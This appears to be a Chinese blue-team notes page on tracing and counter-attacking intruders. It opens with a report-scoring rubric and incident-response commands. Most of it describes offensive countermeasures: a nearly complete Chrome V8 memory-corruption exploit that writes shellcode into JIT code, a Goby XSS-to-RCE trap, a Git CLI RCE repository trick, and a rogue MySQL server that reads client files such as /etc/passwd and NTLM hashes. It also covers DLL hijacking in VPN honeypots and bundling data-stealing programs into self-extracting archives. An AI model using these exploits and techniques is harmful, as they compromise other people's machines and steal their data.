[toc]
0分 编写内容不能称之为报告
1分 报告内容很差
2分 流程不合规,如对方并未攻击我们,非法反制
3分 证据链说服性差,典型特点如只查了微步情报,未做交叉验证就说域名持有者就是攻击者,未排除对方是肉鸡,或历史解析等情况
4分 能根据反控主机,确定攻击源IP不是真实攻击者,但无力进一步找到真实攻击者信息
5分 通过肉鸡溯源到可疑IP,但无力对其进一步溯源。或者能确定攻击源IP归属于攻击者,不是肉鸡
6分 通过肉鸡进一步溯源到可疑IP的归属单位。或者能够确定攻击源IP归属单位,不是肉鸡
7分 溯源到攻击者少量身份信息,但难以确定攻击者身份
8分 溯源到了攻击者大量外围身份信息,但无法最终确认攻击者
9分 溯源到攻击者,未捕获攻击现场
10分 溯源到攻击者,捕获攻击现场,证据链条充分
当拿到机器后,一般分为两个阶段
一、攻击路径还原
一般肉鸡都是通过批量扫描形式抓取,通过肉鸡对我方扫描的payload,根据机器应用服务情况,可快速进行反制。
反制后应及时捕获攻击现场,目的就是查找此机器对我方的攻击证据。
具体操作如下:
查看网络链接:
netstat -ano
查看主机进程,进一步获取恶意软件位置,可能会存在log
tasklist /svc
二、溯源阶段
确定攻击证据后,结合肉鸡漏洞查找攻击者(上一跳)信息
1、文件搜索
查找恶意程序文件创建日期,根据日期搜索定位相关新增文件
2、web应用日志
查找web应用访问日志,结合相关漏洞利用点,搜索定位相关IP
tomcat日志:localhost_access_log.日期.txt (默认在logs目录下,找不到请查看配置/conf/server.xml )
apache日志:logs\access.txt(默认在logs目录下,找不到请查看配置conf\httpd.conf)
nginx日志:access_log(找不到请查看配置nginx.conf)
3、服务日志
redis历史记录(可能有,一般无) redis未授权访问
mysql日志 (可能有,一般无) phpmysql弱口令
show variables like ‘general_log_file’;
sudo tail -f /path/to/general_log_file
4、登录信息
ssh
ssh登录日志
历史登录信息 lastlog
登录失败日志 ssh(如果是暴破获取权限)
rdp登录信息
wevtutil qe Security “/q:*[System [(EventID=4648)]]” /f:text /rd:true /c:10
5、权限维持
用户信息
查看用户信息,密码
查看计划任务
crontab -l
查看自启动服务
systemctl list-unit-files |grep enabled
/etc/rc.d/init.d/
/etc/rc.d/rc.local
查看恶意后门软件
可拉取后上传到在线分析平台进行分析
也可以上传一个杀软,扫描一下存在的恶意后门、启动项、计划任务等
6、其他
windows最近打开文件
回收站文件
残留的log文件,操作记录
对于留存在内存中的程序,就需要通过dump内存的形式来获取内容了
渗透测试人员:对特定目标进行反渗透
红队大佬:免杀、钓鱼等红队技能
情报、社工人员:负责溯源追踪个人相关信息
逆向分析:对获取到的恶意样本进行分析,获取关键信息
文档源:负责报告编制输出
获取qq、微信数据库,解密获取聊天记录 (挖个坑,找时间搞一下) webshell的db文件 红队报告 通过红队机器,把他当做跳板进一步反制
通过https://github.com/hariomenkel/CobaltSpam将对方CS的列表打满
dnslog/httplog 反制
通过对目标的服务器发起大量请求,如多地ping、云函数批量访问等
思路来源于 打开goby开始扫描->IP详情->XSS->RCE 完成
goby扫描
服务端返回一个header插入xss引用远程js文件
远程js文件里插入完整的执行代码
攻击队成员点击详情触发xss,最后rce
xray和goby等使用go写的工具扫描时会崩溃 https://github.com/alexzorin/cve-2021-34558
比较老
利用chrome的0 day漏洞,之前awvs测试没成功,可能对14以下有影响
ENABLE_LOG = true;
IN_WORKER = true;
// run calc and hang in a loop
var shellcode = [
xxx
];
function print(data) {
}
var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});
for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;
function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}
function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}
function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;
this.page_buffer = null;
this.page_view = null;
this.prevent_opt = [];
var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;
class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}
this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);
new RegExp({ toString: function () { return 'a' } });
cb(true);
class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);
// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}
// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}
class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}
return DerivedN;
})`);
gc();
new (derived_n(tDerivedNDepth))();
this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}
this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}
this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}
this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}
this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}
this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}
function trigger() {
var oob = oobAccess();
var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));
var kCodeInsOffset = 0x1b;
var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));
oob.setBytes(code_addr, shellcode);
target_function(0);
}
try{
print("start running");
trigger();
}catch(e){
print(e);
}
2021-3-3版本前,都会受到chrome漏洞影响 1、Burp Suite v2.0的Live audit from Proxy被动扫描功能在默认情况下开启JavaScript分析引擎(JavaScript analysis),用于扫描JavaScript漏洞
2、Response -> Render及Repeater -> Render 功能进行渲染的时候会触发
xss 盲打后台钓鱼反制
假装后台被打到了,然后传回他的xss后台,然后他访问打到的后台后,使用话术套路,让他下载文件执行获取对方终端权限
https://github.com/EdgeSecurityTeam/Vulnerability/blob/main/Git%20CLI%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2020-26233%EF%BC%89.md
· 创建一个新的存储库或将文件添加到现有存储库;
· 将Windows可执行文件上传到此存储库,重命名为git.exe;
· 等待受害者fork存储库
· 使用gh repo fork REPOSITORY_NAME –clone frok后触发rce。
https://drivertom.blogspot.com/2021/08/git.html(别想偷我源码:通用的针对源码泄露利用程序的反制(常见工具集体沦陷))
构造../ ,然后把后门写到启动项或者定时任务进行getshell。
直接传上来的一些大马,可以先关闭服务器进行隔离,然后在他的大马里进行“加料”隔离上线,当对方在连接进来的时候先获取对方的user-agent, 利用一些chrome 、fireofx 等一些常见浏览器的day ,构建shellcode 进行浏览器逃逸执行反制。
MySQL中 load data local infile ‘/etc/passwd’ into table test fields terminated by ‘\n’;语句可以读取客户端本地文件并插进表中,那么我们可以伪造一个恶意的服务器,向连接服务器的客户端发送读取文件的payload 。 比如读取攻击者的微信id、ntlm hash
https://mp.weixin.qq.com/s/rQ9BpavBeMnS6xUOidZ5OA
https://github.com/qigpig/MysqlHoneypot
当对方为了方便mstsc 连接进来,当然场景不限于mstsc ,比如对方开启了vmware 虚拟机等的文件共享,然后往对方启动项丢一个可执行文件,直接就可以rce 了
现在基本做个vpn 的2级域名蜜罐,没有哪个红队不关注这个的,那么利用这个心里,可以这样进行反制。
360connect / sangfor vpn 这些连接的客户端在连接的时候都会下 dll 进去,那么针对这个,我们可以做个dll 劫持,正常用户使用的时候,也是会按照这个企业的配置,下发这个企业的 dll ,因为证书自签的,所以蜜罐上面可以自己签一个sabgfor的证书,攻击者也不会发现有啥不一样的。(Medicean表哥提供的思路)
通过js来实现一些功能,如修改复制链接,红队复制后直接执行。或者结合beef多搞一些骚操作
写程序做一些不太敏感的操作,例如读本地文件,截屏,剪切板等然后再发送出来 可以结合rar自解压捆绑到正常的exe中